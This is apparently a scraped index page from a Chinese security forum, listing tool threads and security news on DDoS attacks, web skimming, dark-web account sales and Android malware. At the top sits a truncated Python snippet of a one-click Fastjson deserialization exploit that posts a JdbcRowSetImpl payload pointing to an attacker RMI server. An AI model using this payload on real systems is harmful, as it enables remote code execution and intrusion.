T00LS | 低调求发展 - 潜心习安全

根据网上大神jar工具写了个一键利用脚本child = subprocess.Popen( , stdout=subprocess.PIPE,stderr=subprocess.PIPE)开个线程运行java起HTTP及RMI服务。def send_payload(): data = \'{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://\'+server_ip+\':28888/Object","autoCommit":true}}\' fastjson_payload = requests.post(url=url,headers=headers,data=data) if fastjson_payload.status_code ...

JSINFO-SCAN 一款递归爬取域名

2020-07-11 22:11:20 5 116

JSONP-Hunter

2020-07-11 22:09:40 2 86

msf hash值导出问题解决以及几个tips

2020-07-11 21:31:53 4 47

XrayGUI 给Xray造一个GUI控制端。

2020-07-11 21:28:10 5 134

ApkAnalyser 一键提取安卓应用中可能存在的敏感信息

2020-07-11 21:26:53 2 65

burpFakeIP

2020-07-11 21:22:25 3 76

安全资讯

新闻资讯回复2次

Cloudflare其在6月下旬遭到大规模DDoS攻击

6月21日，Cloudflare自动缓解了高容量的DDoS攻击，该攻击的峰值为每秒7.54亿个数据包。这次攻击是从6月18日到6月21日结束的为期四天的有组织运动的一部分：攻击流量是从超过316,000个IP地址发送到单个Cloudflare IP地址的，该地址主要用于我们免费计划中的网站。攻击期间未报告停机或服务降级，并且由于我们未计量的缓解保 ...

2020-07-11 15:42:41 2 100

新闻资讯回复0次

黑客组织 Keeper 追踪：三年间入侵 570 家电商网站牟利 700 多万元

黑客组织“Keeper”表示对在过去三年间，全球超过 570 个在线电子商务网站的数据泄漏事件负责。该黑客阻止惯用伎俩是入侵商城的后台，修改源代码、嵌入恶意脚本、记录购物者在付款时的支付卡细节等等。这类网络攻击也被称之为“web skimming/e-skimming”（网页掠夺）。在威胁情报公司 Gemini Advisory 发布的一份报告中，K ...

2020-07-11 15:07:28 0 87

新闻资讯回复0次

研究发现平均为70.91美元就能在暗网买到银行账户

据Digital Shadows网络安全研究人员称，包括银行账户和网络管理员账户在内的逾150亿条各类账户信息在暗网上“待价而沽”，其中有些信息甚至可供免费访问。许多账户被多次分享，表明用户不知道自己的账户已遭到攻击。即使信息存在重复，在暗网上“待价而沽”的“独立”账户超过50亿个。Digital Shadows表示，售价最高的是机 ...

2020-07-10 10:36:46 0 175

新闻资讯回复10次

服刑10年出狱后，天才黑客眼中的世界变成这样了

编者按：Jesse William McGraw是名为 Electronik Tribulation Army（ETA）的无政府主义黑客组织负责人，在 2011 年因入侵医院系统以及工控 SCADA 系统而被判入狱 110 个月。服刑期间，他因为使用狱友的账号登陆计算机而被抓住遭到彻底的技术隔离。出狱之后他目睹了技术在过去十年发生的翻天覆地的变化，以及重大的科技事件 ...

2020-07-09 15:56:41 10 560

新闻资讯回复35次

成都电子科技大学被印度留学生黑了

都电子科技大学被印度留学生搞了，教学楼显示屏出现“拒绝中国制造”口号？自从前段时间中印边境冲突之后，印度反华的情绪就一直居高不下，从最开始抵制中国制造，砸电视、砸手机，到后来下架国内59款APP参考：突发！以“国家安全”为名，印度政府宣布封杀59款中国APP (附名单)钉子刷微博的时候刷到一个ID上帝之鹰发的成都 ...

2020-07-09 13:33:17 35 2956

新闻资讯回复0次

名为FakeSpy的Android恶意软件三年后“重现江湖” 比以前更危险

该应用能够窃取用户的短信、银行信息和应用数据。该恶意软件通过一条看似来自当地邮局的短信进行传播，并指示用户下载一款伪装成合法邮局应用的应用。据Cybereason的一份新报告显示，一款名为FakeSpy的危险Android恶意软件已重新出现。FakeSpy是近三年前被安全研究人员首次发现的，是一款特别恶劣的恶意软件，旨在窃取用户 ...

2020-07-07 00:27:18 0 233